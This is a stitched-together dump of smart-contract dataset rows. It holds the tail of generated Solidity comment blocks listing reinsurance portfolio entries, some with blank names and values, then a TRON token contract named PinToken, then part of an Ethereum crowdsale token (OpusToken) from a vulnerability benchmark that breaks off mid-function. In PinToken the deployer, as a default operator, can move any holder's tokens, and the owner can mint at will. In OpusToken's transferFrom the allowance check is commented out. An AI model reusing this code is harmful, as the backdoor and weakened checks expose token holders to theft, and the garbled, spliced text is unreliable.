// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_X_metadata_line_11_____Faraday_Underwriting_Limited_20250515 >
// < 7py5tEh3TTSM3D511qSeMRPC62csW1LC5iI8s31vA9xL32861Y3XPXHNl6teScrL >
// < 1E-018 limites [ 471398070,734583 ; 552066324,876761 ] >
// < 0x0000000000000000000000000000000000000000000000AF9C06155CDA925E1B >
// < RE_Portfolio_X_metadata_line_12_____Faraday_Underwriting_Limited_20250515 >
// < Y6yqnZK075G96m9O12i52DpIc0v8W9jT77QDneVt74gO13Si4GX1yc4ccx1S583Y >
// < 1E-018 limites [ 552066324,876761 ; 565449517,856386 ] >
// < 0x0000000000000000000000000000000000000000000000CDA925E1BD2A577FDD >
// < RE_Portfolio_X_metadata_line_13_____Faraday_Underwriting_Limited_20250515 >
// < 4uGick1mI3SyVF8dzqi27gwx7x0YlD546GXb563zKAl9enL859W0qO48a9U0SB26 >
// < 1E-018 limites [ 565449517,856386 ; 639504901,630417 ] >
// < 0x0000000000000000000000000000000000000000000000D2A577FDDEE3BF0C27 >
// < RE_Portfolio_X_metadata_line_14_____Faraday_Underwriting_Limited_20250515 >
// < D8HgeA7KQzg8s1AHncyFky9nW6p4fi3DJGv8NHbT72fKVMQlk5Mwul9pmt6quAc1 >
// < 1E-018 limites [ 639504901,630417 ; 715695508,049936 ] >
// < 0x000000000000000000000000000000000000000000000EE3BF0C2710A9E0AFC8 >
// < RE_Portfolio_X_metadata_line_15_____Fiduciary_Intermediary_20250515 >
// < N1fu7Si68f14m7i6YLiSVQ97qz33861Fy04zi7nRGTP4mt87wi1K167Gr5b0kX74 >
// < 1E-018 limites [ 715695508,049936 ; 743637461,618944 ] >
// < 0x0000000000000000000000000000000000000000000010A9E0AFC811506CB965 >
// < RE_Portfolio_X_metadata_line_16_____First_Capital_Insurance_Limited_A_20250515 >
// < wCBWF7V08gp0mSoLL40cA1BVxgR2sCZLMx5dUxtq78Dg9wSc9PyWBJ0KECQLM2sm >
// < 1E-018 limites [ 743637461,618944 ; 785991183,168893 ] >
// < 0x0000000000000000000000000000000000000000000011506CB965124CDF5FE0 >
// < EdxgK3q0a8D23GYrTX0zPG9026O9HHQ37v1T2z3FX9wSXkK7ks2Xg8F9AWEoP81n >
// < 1E-018 limites [ 785991183,168893 ; 846829386,163266 ] >
// < 0x00000000000000000000000000000000000000000000124CDF5FE013B77F1AEC >
// < RE_Portfolio_X_metadata_line_18_____FolksAmerica_Reinsurance_Company_20250515 >
// < 87qV9kH2SsA408r95gSXjBrv84sAzHn82hfLujCOY8dn6xwh8WpK37S9lnr9V3Er >
// < 1E-018 limites [ 846829386,163266 ; 901925330,651468 ] >
// < 0x0000000000000000000000000000000000000000000013B77F1AEC14FFE4D83D >
// < RE_Portfolio_X_metadata_line_19_____GBG_Insurance_limited_USA_Bpp_20250515 >
// < j7j5mAMiZ2XJAy7W6g9M47b805wjn0b0W8NDPS1hcYChUFTvVX180ILar64i5se5 >
// < 1E-018 limites [ 901925330,651468 ; 963613439,131181 ] >
// < 0x0000000000000000000000000000000000000000000014FFE4D83D166F956D9D >
// < RE_Portfolio_X_metadata_line_20_____GE_ERC_20250515 >
// < B8lQQKxTfltr7IydVrtZS21V742Trp5dxnuNYubmnk4P603r3011240BbP1haHng >
// < 1E-018 limites [ 963613439,131181 ; 1007149153,42193 ] >
// < 0x00000000000000000000000000000000000000000000166F956D9D177313A802 >
// Programme d'mission - Lignes 21 30
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_X_metadata_line_21_____General_Cologne_Re_20250515 >
// < 47zVCP1yaRw527wI9To02P6A4l1L0XWrb89oKmKJmiA1iNy6UXz15z9p0y04bzW5 >
// < 1E-018 limites [ 1007149153,42193 ; 1048176399,60965 ] >
// < 0x00000000000000000000000000000000000000000000177313A80218679E440C >
// < WcI8agjWu00HLuOXPcgIW93U4dRsd38ayqQBM3z4918HsPojU053Tu8523e02zA3 >
// < 1E-018 limites [ 1048176399,60965 ; 1094781549,32812 ] >
// < 0x0000000000000000000000000000000000000000000018679E440C197D6814A8 >
// < b272RujYz55e4526K3x06I4oTnW3v6swg4jJ53mCS6o697FHsCjYZmv1lq10CmmK >
// < 1E-018 limites [ 1094781549,32812 ; 1105997978,5313 ] >
// < 0x00000000000000000000000000000000000000000000197D6814A819C042FE51 >
// < RE_Portfolio_X_metadata_line_24_____General_Re_Co_AA_App_20250515 >
// < 8iSY8q4g0I1EKYi3nXL0G127S4h5N1C8ChR9NGjW9gk9sQ35KLSB9lzK3572U7q3 >
// < 1E-018 limites [ 1105997978,5313 ; 1170640506,34888 ] >
// < 0x0000000000000000000000000000000000000000000019C042FE511B418FA9BE >
// < RE_Portfolio_X_metadata_line_25_____General_Reinsurance_AG_AAm_App_20250515 >
// < 506mnh92Qnjd98H6JGPEePJSjqZK2WFVwPP9scSh8mg755V2aQ975ghBj8tY6I58 >
// < 1E-018 limites [ 1170640506,34888 ; 1205540508,06079 ] >
// < 0x000000000000000000000000000000000000000000001B418FA9BE1C1194D6EA >
// < NwJ56wpssU33BXRh5tpJX7z8G7nVP7A86RmpIy1704a324a51YL6Qb5IPs7iZ3r1 >
// < 1E-018 limites [ 1205540508,06079 ; 1228073254,88163 ] >
// < 0x000000000000000000000000000000000000000000001C1194D6EA1C97E31524 >
// < RE_Portfolio_X_metadata_line_27_____Generali_Group_20250515 >
// < GXdph0Ey7ht53Wx46rI7r34Nw1lRYp91gwe5em47xjL0vDyzrGk86P5NcUgh8u7f >
// < 1E-018 limites [ 1228073254,88163 ; 1246314210,20301 ] >
// < 0x000000000000000000000000000000000000000000001C97E315241D049C9250 >
// < RE_Portfolio_X_metadata_line_28_____Generali_Itallia_SPA_A_20250515 >
// < EziC4N6N8Qe526PTj2qjeB3J9ifpKAp4z98XXnA8RHfwl4898g0z71r6kuAfMdui >
// < 1E-018 limites [ 1246314210,20301 ; 1262776759,6049 ] >
// < 0x000000000000000000000000000000000000000000001D049C92501D66BC6DAC >
// < RE_Portfolio_X_metadata_line_29_____Gerling_Global_Financial_Services_20250515 >
// < 57Z6p79tqy4VdQ8ee6Efw61KbZm29UoSnke0QYrK172YX7x262E4HJHbNoyBqxYQ >
// < 1E-018 limites [ 1262776759,6049 ; 1317515363,57484 ] >
// < 0x000000000000000000000000000000000000000000001D66BC6DAC1EAD00E8D9 >
// < RE_Portfolio_X_metadata_line_30_____Gerling_Global_Re_20250515 >
// < fndhvrI82gqh4b104s4xyGE551oJj45LaBnbE1G2Fu0pK47Z04R123F9V4R370Rs >
// < 1E-018 limites [ 1317515363,57484 ; 1328252163,78192 ] >
// < 0x000000000000000000000000000000000000000000001EAD00E8D91EECFFF76E >
// Programme d'mission - Lignes 31 40
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_X_metadata_line_31_____Gerling_Reinsurance_Australia_20250515 >
// < S54BBy0WgSerb40zls8mmfM4b1R0Nks7D5xXz72B2H9WfeYnfR3t47uQxZo7YOnj >
// < 1E-018 limites [ 1328252163,78192 ; 1389263686,16927 ] >
// < 0x000000000000000000000000000000000000000000001EECFFF76E2058A8295C >
// < RE_Portfolio_X_metadata_line_32_____Ghana_Re_20250515 >
// < Xep07ob9dGSp2d2ELyw3c9dOyffxB8oX9zu3M2J69KFD1doYAugrz5932v0Oslg4 >
// < 1E-018 limites [ 1389263686,16927 ; 1412155401,035 ] >
// < 0x000000000000000000000000000000000000000000002058A8295C20E11A257B >
// < RE_Portfolio_X_metadata_line_33_____Gill_and_Roeser_20250515 >
// < shI4a8zbvo3kvH7js7M43Px1i5nGGX3L9Xrp9Alq1UvKK7I95347d3ZAMbz145u0 >
// < 1E-018 limites [ 1412155401,035 ; 1443837426,52427 ] >
// < 0x0000000000000000000000000000000000000000000020E11A257B219DF114B0 >
// < RE_Portfolio_X_metadata_line_34_____Glacier_Group_20250515 >
// < 62GoA3czxuX9gX3IEKduaWWrrYYbwQat1qco9swKndtE6qP590eFL6h7CF1ezsdx >
// < 1E-018 limites [ 1443837426,52427 ; 1514306817,90679 ] >
// < 0x00000000000000000000000000000000000000000000219DF114B02341F8D6B2 >
// < RE_Portfolio_X_metadata_line_35_____Glacier_Group_20250515 >
// < pVa1i24T24zGsciDN2N3c0yUGJOOW7DnufLAflv52tV2r5bfdsjuzwcg5GHhT5FI >
// < 1E-018 limites [ 1514306817,90679 ; 1561105223,20555 ] >
// < 0x000000000000000000000000000000000000000000002341F8D6B22458E989C4 >
// < RE_Portfolio_X_metadata_line_36_____Global_Reinsurance_20250515 >
// < xT7tNv6JsRskofyS3F849821DH9VKA1a1f0G4rdfyYP9FIcvz6b4NfG5B2Ezm9K2 >
// < 1E-018 limites [ 1561105223,20555 ; ] >
// < 0x000000000000000000000000000000000000000000002458E989C424E6F08D4D >
// < RE_Portfolio_X_metadata_line_37_____GMAC_Re_20250515 >
// < jU4CJnL0d97607640u99MyrRrV71KC4iXmmEMe6O8G9g7as04cUrUUx5TwpB8bk8 >
// < 1E-018 limites [ 1584933466,49313 ; 1653537746,74199 ] >
// < 0x0000000000000000000000000000000000000000000024E6F08D4D267FDA6046 >
// < RE_Portfolio_X_metadata_line_38_____GMF_Assurances_BBB_Baa3_20250515 >
// < 79vx3Blc8rW03wG3jNL6ugR9Cg7MuV3tuA7Z6J1U6a57NHb16G9zv399oc8S3cBt >
// < 1E-018 limites [ 1653537746,74199 ; 1670808102,81451 ] >
// < 0x00000000000000000000000000000000000000000000267FDA604626E6CAD91D >
// < qz5CMsmU5s3f5aYBM92Y8d6l25K97x14mG49ysfB6DhP5pyuW3r0wEA595jOHrkO >
// < 1E-018 limites [ 1670808102,81451 ; 1697655608,00777 ] >
// < 0x0000000000000000000000000000000000000000000026E6CAD91D2786D0E3D4 >
// < d728oj78xG9405BgT69TPvGmuIv9tBo0p89hNad0eP69qh4k7Q72jnAX5BeKv1OV >
// < 1E-018 limites [ 1697655608,00777 ; 1724616534,05505 ] >
// < 0x000000000000000000000000000000000000000000002786D0E3D4282783FF91 >
}
| 206,527 | 13,916 |
6180d3a24be19313c9581660e96d0d8f9adddbbcda3fa724c5c2c59838b42b04
| 22,133 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJLcHwhLCN3maffsFEzDEFJQaMZuHnCPAU_PinToken.sol
| 4,723 | 18,461 |
//SourceUnit: pin.sol
pragma solidity >=0.5.0 <0.8.0;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
function cbrt(uint n) internal pure returns (uint) {
if (n == 0) {
return 0;
}
uint[12] memory divisor = [
uint(1000000), uint(100000), uint(10000), uint(1000),
uint(100), uint(10), uint(9), uint(7),
uint(5), uint(3), uint(2), uint(1)
];
uint[12] memory cube_root = [
uint(100.000000 * 1e6), uint(46.415888 * 1e6), uint(21.544347 * 1e6),
uint(10.000000 * 1e6), uint(4.641589 * 1e6), uint(2.154434 * 1e6),
uint(2.080083 * 1e6), uint(1.912931 * 1e6), uint(1.709975 * 1e6),
uint(1.442249 * 1e6), uint(1.259921 * 1e6), uint(1.000000 * 1e6)
];
uint a = n;
uint r = 1;
for (uint j = 0; j < divisor.length;) {
if (a >= divisor[j]) {
r = (r * cube_root[j]) / 1e6;
a /= divisor[j];
} else if (a <= 1) {
break;
} else {
j++;
}
}
return r;
}
}
interface KDemocracyContract {
}
interface iERC777_1 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function increaseAllowance(address spender, uint addedValue) external returns (bool);
function decreaseAllowance(address spender, uint subtractedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
/// ERC777 appending new api
function granularity() external view returns (uint);
function defaultOperators() external view returns (address[] memory);
function addDefaultOperators(address owner) external returns (bool);
function removeDefaultOperators(address owner) external returns (bool);
function isOperatorFor(address operator, address holder) external view returns (bool);
function authorizeOperator(address operator) external;
function revokeOperator(address operator) external;
function send(address to, uint amount, bytes calldata data) external;
function operatorSend(address from, address to, uint amount, bytes calldata data, bytes calldata operatorData) external;
function burn(uint amount, bytes calldata data) external;
function operatorBurn(address from, uint amount, bytes calldata data, bytes calldata operatorData) external;
event Sent(address indexed operator, address indexed from, address indexed to, uint amount, bytes data, bytes operatorData);
event Minted(address indexed operator, address indexed to, uint amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed holder);
event RevokedOperator(address indexed operator, address indexed holder);
}
contract Migrations {
address public owner;
uint public last_completed_migration;
constructor() public {
owner = msg.sender;
}
modifier restricted() {
if (msg.sender == owner) _;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) public restricted {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
contract KTimeController {
uint public offsetTime;
function timestemp() external view returns (uint) {
return now + offsetTime;
}
function increaseTime(uint t) external {
offsetTime += t;
}
}
interface KDemocracyIsProposerInterface {
function shouldProposal(address proposer) external view returns (bool);
function isProposer(address proposer) external view returns (bool);
function proposerWeight(address proposer) external view returns (uint);
}
contract KOwnerable {
address[] internal _authAddress;
address[] public KContractOwners;
bool private _call_locked;
KDemocracyContract internal democracyDelegate;
constructor() public {
KContractOwners.push(msg.sender);
_authAddress.push(msg.sender);
}
function KSetDemocracyDelegate(KDemocracyContract contractAddress) external KOwnerOnly {
democracyDelegate = contractAddress;
}
function KAuthAddresses() external view returns (address[] memory) {
return _authAddress;
}
function KAddAuthAddress(address auther) external KOwnerOnly {
_authAddress.push(auther);
}
function KDelAuthAddress(address auther) external KOwnerOnly {
for (uint i = 0; i < _authAddress.length; i++) {
if (_authAddress[i] == auther) {
for (uint j = 0; j < _authAddress.length - 1; j++) {
_authAddress[j] = _authAddress[j+1];
}
delete _authAddress[_authAddress.length - 1];
_authAddress.pop();
return ;
}
}
}
modifier KOwnerOnly() {
bool exist = false;
for (uint i = 0; i < KContractOwners.length; i++) {
if (KContractOwners[i] == msg.sender) {
exist = true;
break;
}
}
require(exist, 'NotAuther'); _;
}
modifier KDemocracyOnly() {
bool exist = false;
for (uint i = 0; i < KContractOwners.length; i++) {
if (KContractOwners[i] == msg.sender) {
exist = true;
break;
}
}
require(exist || msg.sender == address(democracyDelegate), 'NotAuther'); _;
}
modifier KOwnerOnlyAPI() {
bool exist = false;
for (uint i = 0; i < KContractOwners.length; i++) {
if (KContractOwners[i] == msg.sender) {
exist = true;
break;
}
}
require(exist, 'NotAuther'); _;
}
modifier KRejectContractCall() {
uint256 size;
address payable safeAddr = msg.sender;
assembly {size := extcodesize(safeAddr)}
require(size == 0, "Sender Is Contract");
_;
}
modifier KDAODefense() {
require(!_call_locked, "DAO_Warning");
_call_locked = true;
_;
_call_locked = false;
}
modifier KDelegateMethod() {
bool exist = false;
for (uint i = 0; i < _authAddress.length; i++) {
if (_authAddress[i] == msg.sender) {
exist = true;
break;
}
}
require(exist, "PermissionDeny"); _;
}
function uint2str(uint i) internal pure returns (string memory c) {
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
c = string(bstr);
}
}
contract KPausable is KOwnerable {
event Paused(address account);
event Unpaused(address account);
bool public paused;
constructor () internal {
paused = false;
}
modifier KWhenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
modifier KWhenPaused() {
require(paused, "Pausable: not paused");
_;
}
function Pause() public KOwnerOnly {
paused = true;
emit Paused(msg.sender);
}
function Unpause() public KOwnerOnly {
paused = false;
emit Unpaused(msg.sender);
}
}
contract KDebug is KPausable {
KTimeController internal debugTimeController;
function timestempZero() internal view returns (uint) {
return timestemp() / 1 days * 1 days;
}
// function timestemp() internal view returns (uint) {
// if (debugTimeController != KTimeController(0)) {
// return debugTimeController.timestemp();
// } else {
// return now;
// }
// }
// function KSetDebugTimeController(address tc) external KOwnerOnly {
// debugTimeController = KTimeController(tc);
// }
function timestemp() internal view returns (uint) {
return now;
}
}
contract KStorage is KDebug {
address public KImplementAddress;
function SetKImplementAddress(address impl) external KDemocracyOnly {
KImplementAddress = impl;
}
function () external {
address impl_address = KImplementAddress;
assembly {
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(sub(gas(), 10000), impl_address, 0x0, calldatasize(), 0, 0)
let retSz := returndatasize()
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}
contract KStoragePayable is KDebug {
address public KImplementAddress;
function SetKImplementAddress(address impl) external KDemocracyOnly {
KImplementAddress = impl;
}
function () external payable {
address impl_address = KImplementAddress;
assembly {
if eq(calldatasize(), 0) {
return(0, 0)
}
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(gas(), impl_address, 0x0, calldatasize(), 0, 0)
let retSz := returndatasize()
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}
contract ERC777_1TokenTemplate is iERC777_1, KPausable {
using SafeMath for uint;
address[] internal _defaultOperators;
mapping (address => uint) internal _balances;
mapping (address => mapping(address => uint)) internal _allowances;
mapping (address => mapping(address => bool)) internal _authorized;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
uint public granularity = 1;
constructor(string memory _name,
string memory _symbol,
uint8 _decimals,
uint _totalSupply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
_balances[address(this)] = _totalSupply - 1050000e6;
_balances[msg.sender] = 1050000e6;
_defaultOperators.push(msg.sender);
}
function balanceOf(address account) external view returns (uint) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint amount) external KWhenNotPaused returns (bool) {
_send(msg.sender, recipient, amount, "", msg.sender, "");
return true;
}
function approve(address spender, uint value) external KWhenNotPaused returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint amount) external KWhenNotPaused returns (bool) {
require(amount <= _allowances[sender][msg.sender]);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
_send(sender, recipient, amount, "", msg.sender, "");
return true;
}
function increaseAllowance(address spender, uint addedValue) external KWhenNotPaused returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) external KWhenNotPaused returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/// ERC777 Methods Override
function addDefaultOperators(address owner) external KOwnerOnly returns (bool) {
_defaultOperators.push(owner);
}
function removeDefaultOperators(address owner) external KOwnerOnly returns (bool) {
for (uint i = 0; i < _defaultOperators.length; i++) {
if (_defaultOperators[i] == owner) {
for (uint j = i; j < _defaultOperators.length - 1; j++) {
_defaultOperators[j] = _defaultOperators[j+1];
}
delete _defaultOperators[_defaultOperators.length - 1];
_defaultOperators.length --;
return true;
}
}
return false;
}
function defaultOperators() external view returns (address[] memory) {
return _defaultOperators;
}
function authorizeOperator(address _operator) external {
require(_operator != msg.sender);
_authorized[_operator][msg.sender] = true;
emit AuthorizedOperator(_operator, msg.sender);
}
function revokeOperator(address _operator) external {
require(_operator != msg.sender);
_authorized[_operator][msg.sender] = false;
emit RevokedOperator(_operator, msg.sender);
}
function send(address _to, uint _amount, bytes calldata _userData) external {
_send(msg.sender, _to, _amount, _userData, msg.sender, "");
}
function isOperatorFor(address _operator, address _tokenHolder) public view returns (bool) {
for (uint i = 0; i < _defaultOperators.length; i++) {
if (_defaultOperators[i] == _operator) {
return true;
}
}
return _operator == _tokenHolder || _authorized[_operator][_tokenHolder];
}
function operatorSend(address _from, address _to, uint _amount, bytes calldata _userData, bytes calldata _operatorData) external {
require(isOperatorFor(msg.sender, _from), "NotAuthorized");
_send(_from, _to, _amount, _userData, msg.sender, _operatorData);
}
function mint(address _tokenHolder, uint _amount, bytes calldata _operatorData) external KOwnerOnly {
totalSupply = totalSupply.add(_amount);
_balances[_tokenHolder] = _balances[_tokenHolder].add(_amount);
emit Minted(msg.sender, _tokenHolder, _amount, "", _operatorData);
}
function burn(uint _amount, bytes calldata _data) external {
_send(msg.sender, address(0x0), _amount, _data, msg.sender, "");
}
function operatorBurn(address _from,
uint _amount,
bytes calldata _data,
bytes calldata _operatorData) external {
require(isOperatorFor(msg.sender, _from), "NotAuthorized");
if (totalSupply <= 10000000e6) {
_send(_from, KContractOwners[0], _amount, _data, msg.sender, _operatorData);
} else {
_send(_from, address(0x0), _amount, _data, msg.sender, _operatorData);
}
}
function _send(address _from,
address _to,
uint _amount,
bytes memory _userData,
address _operator,
bytes memory _operatorData) internal {
require(_balances[_from] >= _amount,"send,amount_lock"); // ensure enough funds
_balances[_from] = _balances[_from].sub(_amount);
_balances[_to] = _balances[_to].add(_amount);
if (_to == address(0)) {
totalSupply -= _amount;
emit Burned(_operator, _from, _amount, _userData, _operatorData);
} else {
emit Sent(_operator, _from, _to, _amount, _userData, _operatorData);
}
emit Transfer(_from, _to, _amount);
}
function _approve(address owner, address spender, uint value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
contract PinToken is ERC777_1TokenTemplate("PinSwap","PIN",6,21000000000000){
}
| 290,885 | 13,917 |
72b8f17690dcf2a67c10a27c9d0be1bb554ef40aaff45e1faf63ab8f56d2f252
| 13,260 |
.sol
|
Solidity
| false |
410736639
|
SoftSec-KAIST/Smartian-Artifact
|
33c42ba3f2b2f60093173801433b6fd7f3dd710d
|
benchmarks/B3/sol/0x4355fc160f74328f9b383df2ec589bb3dfd82ba0.sol
| 3,420 | 12,400 |
pragma solidity ^0.4.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
if(!(a == 0 || c / a == b)) throw;
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
if(!(b <= a)) throw;
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
if(!(c >= a)) throw;
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ContractReceiver{
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
//Basic ERC23 token, backward compatible with ERC20 transfer function.
//Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23BasicToken {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
function tokenFallback(address _from, uint256 _value, bytes _data) external {
throw;
}
function transfer(address _to, uint256 _value, bytes _data) returns (bool success) {
//Standard ERC23 transfer function
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transfer(address _to, uint256 _value) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function transferToContract(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value); }
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
}
contract ERC23StandardToken is ERC23BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Approval (address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// Based in part on code by Open-Zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract OpusToken is ERC23StandardToken {
string public constant name = "Opus Token";
string public constant symbol = "OPT";
uint256 public constant decimals = 18;
address public multisig=address(0x1426c1f91b923043F7C5FbabC6e369e7cBaef3f0); //multisig wallet, to which all contributions will be sent
address public foundation; //owner address
address public candidate; //owner candidate in 2-phase ownership transfer
mapping (address => uint256) contributions; //keeps track of ether contributions in Wei of each contributor address
uint256 public startBlock = 4023333; //pre-crowdsale start block (30min ealier than estimate)
uint256 public preEndBlock = 4057233; //pre-crowdsale end block(1h after estimated time)
uint256 public phase1StartBlock = 4066633; //Crowdsale start block (1h earlier)
uint256 public phase1EndBlock = 4100233; //Week 1 end block (estimate)
uint256 public phase2EndBlock = 4133833; //Week 2 end block (estimate)
uint256 public phase3EndBlock = 4201433; //Week 4 end block (2h later)
uint256 public endBlock = 4201433; //whole crowdsale end block
uint256 public crowdsaleTokenSupply = 900000000 * (10**18); //Amount of tokens for sale during crowdsale
uint256 public ecosystemTokenSupply = 100000000 * (10**18); //Tokens for supporting the Opus eco-system, e.g. purchasing music licenses, artist bounties, etc.
uint256 public foundationTokenSupply = 600000000 * (10**18); //Tokens distributed to the Opus foundation, developers and angel investors
uint256 public crowdsaleTokenSold = 0; //Keeps track of the amount of tokens sold during the crowdsale
uint256 public presaleEtherRaised = 0; //Keeps track of the Ether raised during the crowdsale
uint256 public transferLockup = 9600;
bool public halted = false; //Halt crowdsale in emergency
event Halt(); //Halt event
event Unhalt(); //Unhalt event
modifier onlyFoundation() {
//only do if call is from owner modifier
if (msg.sender != foundation) throw;
_;
}
modifier crowdsaleTransferLock() {
// lockup during and after 48h of end of crowdsale
if (block.number <= endBlock.add(transferLockup)) throw;
_;
}
modifier whenNotHalted() {
// only do when not halted modifier
if (halted) throw;
_;
}
//Constructor: set multisig crowdsale recipient wallet address and fund the foundation
//Initialize total supply and allocate ecosystem & foundation tokens
function OpusToken() {
foundation = msg.sender;
totalSupply = ecosystemTokenSupply.add(foundationTokenSupply);
balances[foundation] = totalSupply;
}
//Fallback function when receiving Ether.
function() payable {
buy();
}
//Halt ICO in case of emergency.
function halt() onlyFoundation {
halted = true;
Halt();
}
function unhalt() onlyFoundation {
halted = false;
Unhalt();
}
function buy() payable {
buyRecipient(msg.sender);
}
//Allow addresses to buy token for another account
function buyRecipient(address recipient) public payable whenNotHalted {
if(msg.value == 0) throw;
